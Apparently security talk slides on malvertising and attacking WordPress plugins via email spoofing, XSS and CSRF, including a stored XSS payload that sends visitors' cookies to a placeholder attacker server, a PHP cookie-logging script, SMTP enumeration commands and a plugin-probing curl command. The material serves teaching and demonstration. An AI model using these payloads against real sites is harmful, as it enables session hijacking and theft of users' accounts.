Malvertising

Owning WordPress like a Boss
whoami

# whoami 2>&1 > /dev/null
Agenda

- WTF is Malvertising?
- Why WordPress?
- Attack Vectors
- Proof of Concept
- Conclusion
What is Malvertising?

Malicious advertising ("malvertising") is a type of online attack wherein malicious code hidden within an online ad infects your computer with malware.

How Malvertising Works

You visit a website. It doesn’t matter if the site is sketchy or legitimate -- the threat lies within the ads on the site.

Advertisements can come in a variety of shapes and sizes, though usually appear as banners or pop-ups.

Malvertising utilizes numerous tactics, such as using an iFrame, an invisible box that can secretly navigate to additional web pages.

Malicious Bidding

Cyber criminals are able to utilize malvertising by submitting booby-trapped advertisements to ad networks for a real-time bidding process.

After the ad wins the bid, it is propagated in real time through various publishers and will only trigger its malicious payload if specific conditions are met.

Hard to Catch

Malicious ads rotate in with normal ads. Therefore, when a user visits an infected site, they might not be attacked.

Because duplicating the infection is difficult, this can make it very hard for security researchers to study a malvertising attack.

Protection

Using software like pop-up/Ad blockers offers some protection against Malvertising, but employing anti-exploit software in conjunction with an anti-malware is your best bet.

Learn more at www.malwarebytes.org.
Why WordPress?
How Does WordPress Work? An Infographic

You

In the Dashboard

Create Content

Dashboard
(Back-End)

Front-End
(Websites)

WordPress Software

Plugins

Theme

Enhancements

Options

Database

Content

Content

Options

Database

PHP, HTML, CSS
and JavaScript code

MySQL

Your Reader

Produces a Web Page

In Their Browser

Your Reader

Create Content

Dashboard
(Back-End)

Front-End
(Websites)

WordPress Software

Plugins

Theme

Enhancements

Options

Database

Content

Content

Options

Database

PHP, HTML, CSS
and JavaScript code

MySQL

Your Reader

Produces a Web Page

In Their Browser
SECURITY VULNERABILITIES

WordPress security vulnerabilities extend beyond WordPress core into the themes or plugins you install on your site. According to a recent report by wpscan.org, of the 3,972 known WordPress security vulnerabilities, 11% are from themes, 37% are from core WordPress and 52% are from plugins.
CYBER ATTACKS AHEAD
E-mail Spoofing

CVE-2019-20203
From: Dude1 <dude1@domain1.com>
Subject: Nice To Meet You!
Date: February 13, 2018 3:30:58 PM PDT
To: dude1 <dude1@domain1.com>
Reply-To: dude2 <dude2@domain2.com>

Hi Dude1,

It's nice to meet you!
curl -s -o /dev/null -w "\%{http_code}\"" http://<domain.com>/wp-content/plugins/postie/readme.txt | grep 200
SMTP Enumeration

telnet domain.com 587
EHLO buddy
mail from:<sender@example.io>
rcpt to:<user@domain.com>
vrfy user@domain.com

FAIL
## Third-Party Services

![Email Validation Table](https://www.zerobounce.net/)

<table>
<thead>
<tr>
<th>Status</th>
<th>Invalid</th>
<th>Sub-Status</th>
<th>mailbox_not_found</th>
<th>Account</th>
<th>postir</th>
</tr>
</thead>
<tbody>
<tr>
<td>Domain</td>
<td>sejalivre.org</td>
<td>Disposable</td>
<td>False</td>
<td>Toxic</td>
<td>False</td>
</tr>
<tr>
<td>First Name</td>
<td>Not Found</td>
<td>Last Name</td>
<td>Not Found</td>
<td>Gender</td>
<td>Unknown</td>
</tr>
</tbody>
</table>

[https://www.zerobounce.net/](https://www.zerobounce.net/)
// COMPOSE
$to = 'postie@domain.com';
$subject = 'Title of your post';
$message = 'You've been hacked :-);'

// BASIC HEADER
$headers = 'From: wordpress.admin@domain.com' . "\n" .
    'Reply-To: wordpress.admin@domain.com' . "\n" .
    'X-Mailer: PHP/' . phpversion();

// SEND AND SHOW MESSAGE
if (mail($to, $subject, $message, $headers)) echo $headers.'<h1>Mail sent!</h1>';
else echo '<h1>Something went wrong...</h1>';
VIDEO
My Blog — My WordPress Blog

—

home

This site is for security research

—

Artigos recentes
XSS (Session hijacking)

CVE-2019-20204
Perpetrator discovers a website having a vulnerability that enables script injection

Perpetrator injects the website with a malicious script that steals each visitor’s session cookies

For each visit to the website, the malicious script is activated

Visitor’s session cookie is sent to perpetrator.
1. Attacker sends payload to vulnerable blog comment system

4. Victims web browser makes a request to the attackers web server with the victims cookie data in the non-existent URL.
   - The attacker can now hijack the users session using the session identifier from the cookie

2. Victim’s browser requests the web page containing the XSS payload

2. Web Server hosting the vulnerable comment system serves the page containing the XSS payload to the victims web browser

3. HTML Page Rendered in the Victims Browser

```html
<script>
var img = new Image();
img.src = "http://attacker-server/" + document.cookie;
</script>
</html>

Web Application Input - Stored in Database

```html
<script>
var img = new Image();
img.src = "http://attacker-server/" + document.cookie;
</script>
```
<script type="text/javascript">
</script>
<?php
    header ('Location:https://google.com');
    $cookies = $_GET["c"];
    $file = fopen('hs.txt', 'a');
    fwrite($file, $cookies . "\n\n");
?>
CSRF

CVE-2020-8658

Este plugin foi encerrado em 6 de fevereiro de 2020 e não está disponível para download. Esse fechamento é temporário, aguardando uma revisão completa.
htccss_nonce_name=a1a1a1a1
VIDEO
“That’s all Folks!”
Thanks!

E-mail: profvinicius.vieira@fiap.com.br
Telegram: @V1n1v131r4
Wiki: vinicius.sejalivre.org